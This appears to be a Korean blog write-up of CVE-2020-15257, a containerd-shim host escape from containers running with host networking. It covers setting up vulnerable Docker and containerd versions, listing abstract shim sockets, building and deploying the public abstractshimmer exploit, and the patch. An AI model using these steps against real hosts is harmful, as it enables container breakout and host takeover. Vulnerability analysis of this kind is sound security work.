CVE-2020-15257 : Docker host escape vulnerability using host networking
도커 컨테이너를 host networking으로 실행할 때 임의 코드를 실행하여 host escape이 가능하다.
Name | Version |
Ubuntu | 20.04 LTS 64bit |
Docker | 19.03.14 |
Containerd | 1.3.8 |
#!/bin/bash
sudo apt-get update
sudo apt-get install -y apt-transport-https ca-certificates curl gnupg-agent software-properties-common git tmux net-tools vim build-essential
curl -fsSL https://download.docker.com/linux/ubuntu/gpg | sudo apt-key add -
sudo add-apt-repository "deb [arch=amd64] https://download.docker.com/linux/ubuntu $(lsb_release -cs) stable"
sudo apt-get update
sudo apt-get install -y --allow-downgrades \
docker-ce=5:19.03.14~3-0~ubuntu-$(lsb_release -cs) \
docker-ce-cli=5:19.03.14~3-0~ubuntu-$(lsb_release -cs)
sudo usermod -aG docker $USER
docker-ce-cli 도 설치해야 해당 버전으로 downgrade 된다.
sudo apt purge docker*
# 위에 안 될 경우
sudo apt-get purge docker*
#!/bin/sh
mkdir YOUR_DIR && cd YOUR_DIR
wget https://github.com/containerd/containerd/releases/download/v1.3.8/containerd-1.3.8-linux-amd64.tar.gz
tar -xvf containerd-1.3.8-linux-amd64.tar.gz
# containerd 바이너리 교체
sudo pkill -9 containerd
sudo pkill -9 containerd-shim
sudo cp ./bin/containerd `which containerd`
sudo cp ./bin/containerd-shim `which containerd-shim`
sudo service docker restart
sudo netstat -xlp | grep containerd-shim | grep @
sudo tar -C /usr/local -xzf go1.15.3.linux-amd64.tar.gz
rm go1.15.3.linux-amd64.tar.gz
echo 'export PATH=$PATH:/usr/local/go/bin' >> ~/.profile
source ~/.profile
struct sockaddr_un{
sa_family_t sun_family; //AF_UNIX
char sun_path[108]; // pathname
}
Unix socket은 file path에 바운딩되고 unix file permission에 따라 access control을 체크하지만, asbtract Unix socket은 network namespace에 바운딩되고 access control이 없다.
koharin@koharin-virtual-machine:~/cve-2020-15127$ docker run -ti --net=host alpine
Unable to find image 'alpine:latest' locally
latest: Pulling from library/alpine
540db60ca938: Pull complete
Digest: sha256:69e70a79f2d41ab5d637de98c1e0b055206ba40a8145e7bddb55ccc04e13cf8f
Status: Downloaded newer image for alpine:latest
/ # netstat -xlp
Active UNIX domain sockets (only servers)
Proto RefCnt Flags Type State I-Node PID/Program name Path
unix 2 [ ACC ] STREAM LISTENING 26511 - /run/systemd/private
unix 2 [ ACC ] STREAM LISTENING 26513 - /run/systemd/userdb/io.systemd.DynamicUser
unix 2 [ ACC ] SEQPACKET LISTENING 25478 - /run/udev/control
unix 2 [ ACC ] STREAM LISTENING 25464 - /run/systemd/fsck.progress
unix 2 [ ACC ] STREAM LISTENING 25474 - /run/systemd/journal/stdout
unix 2 [ ACC ] STREAM LISTENING 1007 - /run/systemd/journal/io.systemd.journal
unix 2 [ ACC ] STREAM LISTENING 97526 - @/containerd-shim/4828abc70d25f20be43d712dfc2287cc4002691e7ce607d4a52b9d8969c7d3b3.sock@
unix 2 [ ACC ] STREAM LISTENING 47612 - /run/user/1000/systemd/private
unix 2 [ ACC ] STREAM LISTENING 44680 - /run/user/1000/bus
unix 2 [ ACC ] STREAM LISTENING 44681 - /run/user/1000/gnupg/S.dirmngr
unix 2 [ ACC ] STREAM LISTENING 44682 - /run/user/1000/gnupg/S.gpg-agent.browser
unix 2 [ ACC ] STREAM LISTENING 44683 - /run/user/1000/gnupg/S.gpg-agent.extra
unix 2 [ ACC ] STREAM LISTENING 44684 - /run/user/1000/gnupg/S.gpg-agent.ssh
unix 2 [ ACC ] STREAM LISTENING 44685 - /run/user/1000/gnupg/S.gpg-agent
unix 2 [ ACC ] STREAM LISTENING 44686 - /run/user/1000/pk-debconf-socket
unix 2 [ ACC ] STREAM LISTENING 44687 - /run/user/1000/pulse/native
unix 2 [ ACC ] STREAM LISTENING 44688 - /run/user/1000/snapd-session-agent.socket
unix 2 [ ACC ] STREAM LISTENING 49319 - @/tmp/.ICE-unix/2028
unix 2 [ ACC ] STREAM LISTENING 45632 - /run/user/1000/keyring/control
unix 2 [ ACC ] STREAM LISTENING 47805 - @/tmp/.X11-unix/X0
unix 2 [ ACC ] STREAM LISTENING 34788 - @/tmp/dbus-Hvv9lbP9
unix 2 [ ACC ] STREAM LISTENING 32035 - /run/acpid.socket
unix 2 [ ACC ] STREAM LISTENING 97505 - @/dbus-vfs-daemon/socket-BNSMJrwt
unix 2 [ ACC ] STREAM LISTENING 51541 - /run/user/1000/keyring/ssh
unix 2 [ ACC ] STREAM LISTENING 48174 - @/home/koharin/.cache/ibus/dbus-pDJhx817
unix 2 [ ACC ] STREAM LISTENING 51474 - /run/user/1000/keyring/pkcs11
unix 2 [ ACC ] STREAM LISTENING 38252 - /run/containerd/containerd.sock.ttrpc
unix 2 [ ACC ] STREAM LISTENING 38254 - /run/containerd/containerd.sock
unix 2 [ ACC ] STREAM LISTENING 45740 - @/tmp/dbus-vHnArTLI
unix 2 [ ACC ] STREAM LISTENING 37576 - /var/run/docker/metrics.sock
unix 2 [ ACC ] STREAM LISTENING 39352 - /var/run/docker/libnetwork/706c3a756858.sock
unix 2 [ ACC ] STREAM LISTENING 45741 - @/tmp/dbus-QAoLcNxx
unix 2 [ ACC ] STREAM LISTENING 49182 - /tmp/ssh-ZO4ZQtQHHKpl/agent.1849
unix 2 [ ACC ] STREAM LISTENING 92172 - @/containerd-shim/d36cf83eb885958db6844701520d1e3108b57423ef7216c6b42bcc46b5d460d9.sock@
unix 2 [ ACC ] STREAM LISTENING 30446 - /var/run/vmware/guestServicePipe
unix 2 [ ACC ] STREAM LISTENING 50221 - @/tmp/dbus-W0Ak8LRltT
unix 2 [ ACC ] STREAM LISTENING 32037 - /run/avahi-daemon/socket
unix 2 [ ACC ] STREAM LISTENING 32039 - /run/cups/cups.sock
unix 2 [ ACC ] STREAM LISTENING 47806 - /tmp/.X11-unix/X0
unix 2 [ ACC ] STREAM LISTENING 32041 - /run/dbus/system_bus_socket
unix 2 [ ACC ] STREAM LISTENING 49320 - /tmp/.ICE-unix/2028
unix 2 [ ACC ] STREAM LISTENING 32043 - /run/docker.sock
unix 2 [ ACC ] STREAM LISTENING 32045 - /run/snapd.socket
unix 2 [ ACC ] STREAM LISTENING 32047 - /run/snapd-snap.socket
unix 2 [ ACC ] STREAM LISTENING 32049 - /run/uuidd/request
unix 2 [ ACC ] STREAM LISTENING 34787 - @/tmp/dbus-o2QWI8wM
unix 2 [ ACC ] STREAM LISTENING 34985 - /run/irqbalance//irqbalance708.sock
위와 같이 Unix domain socket은 file path에 바운딩되고 파일에 권한이 있다.
abstract namespace Unix socket은 @/cotainerd-shim/<id>.sock@ 형태로 이 socket들은 권한 설정이 없다. 따라서 별도로 프로세스에서 socket에 대한 유효한 연결인지 체크하는 과정이 필요하다.
containerd-shim API는 root network namespace를 통해 접근 가능한 abstract namespace Unix domain socket을 통해 노출된다.
service Shim {
...
rpc Create(CreateTaskRequest) returns (CreateTaskResponse);
rpc Start(StartRequest) returns (StartResponse);
rpc Delete(google.protobuf.Empty) returns (DeleteResponse);
...
rpc Checkpoint(CheckpointTaskRequest) returns (google.protobuf.Empty);
rpc Kill(KillRequest) returns (google.protobuf.Empty);
rpc Exec(ExecProcessRequest) returns (google.protobuf.Empty);
...
}
containerd-shim API에는 Create() , Start() 함수가 있는데, 이는 docker create , docker run 함수에 대응한다.
git clone https://github.com/nccgroup/abstractshimmer.git
cd abstractshimmer
# abstractshimmer 바이너리 생성
go build
FROM golang:1.14.4-buster
RUN apt-get update && apt-get install -y jq
COPY abstractshimmer /abstractshimmer
CMD /abstractshimmer
jq는 config에서 capability, PID namespace나 Seccomp 끄기 등 설정하는데 필요
docker run -ti --network host --userns host -v /tmp/escape:/escape:ro ubuntu:20.04 /bin/sh
containerd v1.3.9, v1.4.3 버전에서 패치되었고, abstract namespace socket에서 file-based Unix socket으로 바꿨다.
https://github.com/containerd/containerd/security/advisories/GHSA-36xw-fx78-c5r4
[1day Analysis] CVE-2022-37958 취약점 분석 (0) | 2023.07.25 |
---|---|
CVE-2021-3156 : Privilege Escalation by Sudo Vulnerability (0) | 2021.09.11 |
CVE-2021-3493: Kernel Vulnerability in Overlayfs (0) | 2021.05.30 |
CVE-2017-5123 Analysis - Linux Kernel Vulnerability(Privilege Escalation) (0) | 2021.05.09 |